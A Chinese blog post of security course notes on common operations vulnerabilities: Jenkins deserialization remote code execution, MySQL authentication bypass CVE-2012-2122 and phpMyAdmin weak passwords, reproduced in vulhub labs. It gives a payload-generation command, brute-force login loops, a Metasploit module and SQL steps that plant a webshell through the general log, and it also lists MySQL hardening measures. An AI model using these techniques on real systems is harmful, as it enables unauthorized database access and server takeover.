3.7.1 Jenkins---3.8.1--3.8.2 常见运维漏洞-Mysql(上)(下)---3.9.1 phpmyadmin

原创
2019/05/16 21:32
阅读数 60

3.7.1 Jenkins

常见运维漏洞-Jenkins漏洞

简介

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作.

Jenkins相关安全问题

案例:

JenkinsMiner加密货币挖矿软件攻击我国某机构

https://paper.tuisec.win/detail/a67d6915379bb86

序列化和反序列化

序列化就是把对象转成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

Jenkins-CI 远程代码执行漏洞

所有Jenkins主版本均受到影响(包括<=2.56版本)

所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

环境下载:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353

复现: 生成序列化字符串

java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"

发送数据包,执行命令

Python exploit.py

安全加固

升级!!!

3.8.1--3.8.2 常见运维漏洞-Mysql(上)(下)

运维常见漏洞 - MySQL

MySQL身份认证漏洞

CVE-2012-2122(漏洞编号)

输入的密码会与期望的正确密码比较,由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256

https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/

受影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

CVE-2012-2122漏洞环境

docker-compose.yml
version: '2'
services:
mysql:
  image: vulhub/mysql:5.5.23
  ports:
  - "3306:3306”

启动环境:

docker-compose up -d

CVE-2012-2122利用

Bash:
for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

MySQL信息探测

Nmap
auxiliary/scanner/mysql/mysql_version

Hydra爆破MySQL密码

MySQL注入利用

•读文件 •读数据库密码 •在一定条件下可以into outfile、into dumpfile •SQLMAP工具辅助注入

MySQL安全加固

  1. 检查是否避免运维账号共享

  2. 检查是否使用默认端口

  3. 检查是否设置禁止MySQL对本地文件存取

revoke file on *.* from 'user3'@'127.0.0.1’;
  1. 检查test库是否已被删除。
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
  1. 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
  1. 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
  1. 禁用MySQL命令历史记录

将MYSQL_HISTFILE环境变量设置为/dev/null,.bash_profile,export MYSQL_HISTFILE=/dev/null

ln -s /dev/null $HOME/.mysql_history
  1. 备份策略

  2. 确保仅管理员具有完全数据库访问权限

网站配置不允许使用root权限

错误:

grant all on *.* to user1 identified by ‘123456’;

指定数据库:

grant all on db1.* to ‘user2’@‘ip’ identified by ‘123456’;`

3.9.1 phpmyadmin

运维常见漏洞 - phpmyadmin

弱口令问题

危害:

获得数据库 获得WebShell

通过日志获取webshell

通过general log获取webshell

mysql> show variables like '%general%';
mysql> set global general_log = on;
mysql> set global general_log_file ='网站路径’;
mysql> select ‘<?php phpinfo(); ?>;
mysql> set global general_log_file =‘还原’;
mysql> set global general_log = off;
展开阅读全文
加载中

作者的其它热门文章

打赏
0
0 收藏
分享
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部